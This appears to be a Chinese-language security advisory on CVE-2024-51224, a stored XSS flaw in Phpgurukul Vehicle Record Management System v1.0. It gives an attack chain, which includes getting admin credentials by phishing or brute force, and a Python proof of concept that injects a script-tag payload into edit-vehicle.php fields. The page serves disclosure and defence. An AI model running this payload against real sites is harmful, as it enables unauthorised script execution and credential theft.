IPBUF安全漏洞报告
English
CVE-2024-51224 CVSS 4.8 中危

CVE-2024-51224 Phpgurukul车辆管理系统XSS漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2024-51224
漏洞类型
跨站脚本 (XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Phpgurukul Vehicle Record Management System

相关标签

XSSPhpgurukulCWE-79Web SecurityStored XSS

漏洞概述

Phpgurukul车辆记录管理系统v1.0存在多处存储型XSS漏洞。攻击者需拥有管理员权限,通过在/admin/edit-vehicle.php页面的车辆名称、型号等参数中注入恶意Payload,导致任意Web脚本执行。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)。漏洞根源在于Phpgurukul车辆管理系统v1.0的`/admin/edit-vehicle.php`组件对用户输入缺乏有效的安全过滤。攻击者需拥有管理员账号,并在编辑车辆信息时,将恶意JavaScript代码注入到`vehiclename`、`regnumber`、`chasisnum`等字段中。由于数据被直接存储在服务器端且在回显时未进行HTML实体编码,当其他用户浏览该车辆详情时,恶意脚本将在受害者浏览器中执行。利用此漏洞,攻击者可窃取敏感凭证、执行钓鱼攻击或执行恶意操作。

攻击链分析

STEP 1
侦察
攻击者识别目标系统为Phpgurukul车辆记录管理系统v1.0,并确认存在/admin/edit-vehicle.php接口。
STEP 2
获取权限
由于CVSS向量要求PR:H(高权限),攻击者首先需要通过钓鱼或暴力破解获取管理员账号凭证。
STEP 3
注入Payload
攻击者登录系统后台,访问车辆编辑页面,在vehiclename、regnumber等字段中输入恶意JavaScript代码并保存。
STEP 4
触发漏洞
当管理员或其他用户访问包含被篡改车辆信息的页面时,浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# POC for CVE-2024-51224 # Target: Phpgurukul Vehicle Record Management System v1.0 # Description: Stored XSS via edit-vehicle.php parameters import requests target_url = "http://target-site/admin/edit-vehicle.php" # The payload attempts to execute an alert box via script tag payload = "<script>alert('CVE-2024-51224');</script>" # Data to be sent in the POST request # Vulnerable parameters: vehiclename, modelnumber, regnumber, vehiclesubtype, chasisnum, enginenumber data = { "vehiclename": payload, "modelnumber": "Test123", "regnumber": payload, "vehiclesubtype": "Sedan", "chasisnum": payload, "enginenumber": "Eng123", "update": "Update" } # Attacker must be authenticated (High Privileges required) cookies = { "PHPSESSID": "attacker_session_id_here" } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully. Check the vehicle list page.") else: print("Failed to inject payload.")

影响范围

Phpgurukul Vehicle Record Management System 1.0

防御指南

临时缓解措施
建议管理员暂时限制车辆编辑功能的访问权限,或在服务器端部署WAF规则以拦截包含常见XSS特征(如<script>标签)的请求,直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表